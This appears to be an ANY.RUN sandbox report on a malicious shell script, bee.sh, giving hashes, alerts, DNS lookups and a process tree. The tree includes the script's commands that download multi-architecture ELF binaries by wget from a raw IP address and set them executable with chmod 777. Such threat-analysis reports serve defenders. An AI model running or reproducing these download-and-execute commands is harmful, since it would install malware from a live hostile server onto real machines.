File name:

bee.sh

Full analysis: https://app.any.run/tasks/d08c8970-416a-4192-a17a-e16e34260b1b
Verdict: Malicious activity
Analysis date: January 26, 2025, 13:51:30
OS: Ubuntu 22.04.2 LTS
Indicators:
MIME: text/plain
File info: ASCII text
MD5:

C90BA9602B0FD0594290D963AD92ADF0

SHA1:

D4CD986C4CABEE5E1FECAA375F3D6A4828C82C91

SHA256:

BEA8443D5EB1DC389E6372352C353B9E75B0510388DB0BA200F6E95FAF5824DD

SSDEEP:

12:2OJLHMH7LRHRNIl5rHCf0LKkHnvCH1aCH/p:2OJLHMH7LRHRNI7rHhKkHnvCH1aCH/p

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 38759)

    • Executes commands using command-line interpreter

      • sudo (PID: 38762)

    • Potential Corporate Privacy Violation

      • wget (PID: 38775)
      • wget (PID: 38767)
      • wget (PID: 38781)
      • wget (PID: 38786)
      • wget (PID: 38792)
      • wget (PID: 38796)
      • wget (PID: 38807)

    • Connects to the server without a host name

      • wget (PID: 38767)
      • wget (PID: 38781)
      • wget (PID: 38775)
      • wget (PID: 38792)
      • wget (PID: 38786)
      • wget (PID: 38796)

    • Uses wget to download content

      • bash (PID: 38765)

    • Reads /proc/mounts (likely used to find writable filesystems)

      • x86 (PID: 38799)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
251
Monitored processes
43
Malicious processes
2
Suspicious processes
4

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget dash no specs chmod no specs bash no specs wget chmod no specs bash no specs wget chmod no specs bash no specs wget chmod no specs bash no specs wget chmod no specs bash no specs wget chmod no specs x86 no specs wget x86 no specs x86 no specs x86 no specs x86 no specs x86 chmod no specs bash no specs wget chmod no specs bash no specs systemctl no specs systemctl no specs systemctl no specs systemctl no specs systemctl no specs systemctl no specs

Process information

PID
CMD
Path
Indicators
Parent process
38758/bin/sh -c "sudo chown user /home/user/Desktop/bee\.sh && chmod +x /home/user/Desktop/bee\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/bee\.sh "/usr/bin/dash—any-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
32512
38759sudo chown user /home/user/Desktop/bee.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38760chown user /home/user/Desktop/bee.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38761chmod +x /home/user/Desktop/bee.sh/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38762sudo -iu user /home/user/Desktop/bee.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
32512
38765-bash --login -c \/home\/user\/Desktop\/bee\.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
32512
38766/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38767wget http://185.232.205.184/arm/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38771/bin/sh -e /etc/NetworkManager/dispatcher.d/01-ifupdown connectivity-change/usr/bin/dash—nm-dispatcher
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38772chmod 777 arm/usr/bin/chmod—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
38781wget/home/user/arm5binary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
32
TCP/UDP connections
23
DNS requests
21
Threats
15

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
91.189.91.49:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
—
91.189.91.98:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
—
91.189.91.96:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
38767
wget
GET
200
185.232.205.184:80
http://185.232.205.184/arm
unknown
—
—
unknown
38775
wget
GET
200
185.232.205.184:80
http://185.232.205.184/arm4
unknown
—
—
unknown
38781
wget
GET
200
185.232.205.184:80
http://185.232.205.184/arm5
unknown
—
—
unknown
38786
wget
GET
200
185.232.205.184:80
http://185.232.205.184/arm6
unknown
—
—
unknown
38792
wget
GET
200
185.232.205.184:80
http://185.232.205.184/arm7
unknown
—
—
unknown
38796
wget
GET
200
185.232.205.184:80
http://185.232.205.184/x86
unknown
—
—
unknown
38804
wget
GET
—
185.232.205.184:80
http://185.232.205.184/mips
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
91.189.91.98:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
91.189.91.96:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
91.189.91.49:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
169.150.255.184:443
odrs.gnome.org
—
GB
whitelisted
38767
wget
185.232.205.184:80
—
—
US
unknown
38775
wget
185.232.205.184:80
—
—
US
unknown
512
snapd
185.125.188.55:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
38781
wget
185.232.205.184:80
—
—
US
unknown
512
snapd
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::23
  • 2620:2d:4002:1::197
  • 2001:67c:1562::24
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::96
  • 2001:67c:1562::23
  • 2620:2d:4002:1::196
  • 91.189.91.49
  • 91.189.91.98
  • 185.125.190.96
  • 91.189.91.97
  • 185.125.190.97
  • 185.125.190.98
  • 185.125.190.18
  • 185.125.190.48
  • 185.125.190.17
  • 91.189.91.48
  • 91.189.91.96
  • 185.125.190.49
whitelisted
odrs.gnome.org
  • 169.150.255.184
  • 195.181.175.40
  • 37.19.194.80
  • 169.150.255.181
  • 195.181.170.19
  • 207.211.211.27
  • 212.102.56.179
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::101
whitelisted
google.com
  • 142.250.184.206
  • 2a00:1450:4001:82f::200e
whitelisted
api.snapcraft.io
  • 185.125.188.55
  • 185.125.188.59
  • 185.125.188.58
  • 185.125.188.54
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::6d
whitelisted
241.100.168.192.in-addr.arpa
  • —
unknown
danielmessing.dyn
  • —
unknown
kylelefton.dyn
  • —
unknown
larrycashdollar.geek
  • —
unknown

Threats

PID
Process
Class
Message
38767
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
38775
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
38781
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
38786
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
38792
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
38796
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
38803
x86
Potentially Bad Traffic
ET HUNTING Observed DNS Query for OpenNIC Alternative DNS TLD (.dyn)
38803
x86
Potentially Bad Traffic
ET HUNTING Observed DNS Query for OpenNIC Alternative DNS TLD (.dyn)
38803
x86
Potentially Bad Traffic
ET HUNTING Observed DNS Query for OpenNIC Alternative DNS TLD (.geek)
38807
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
bee.sh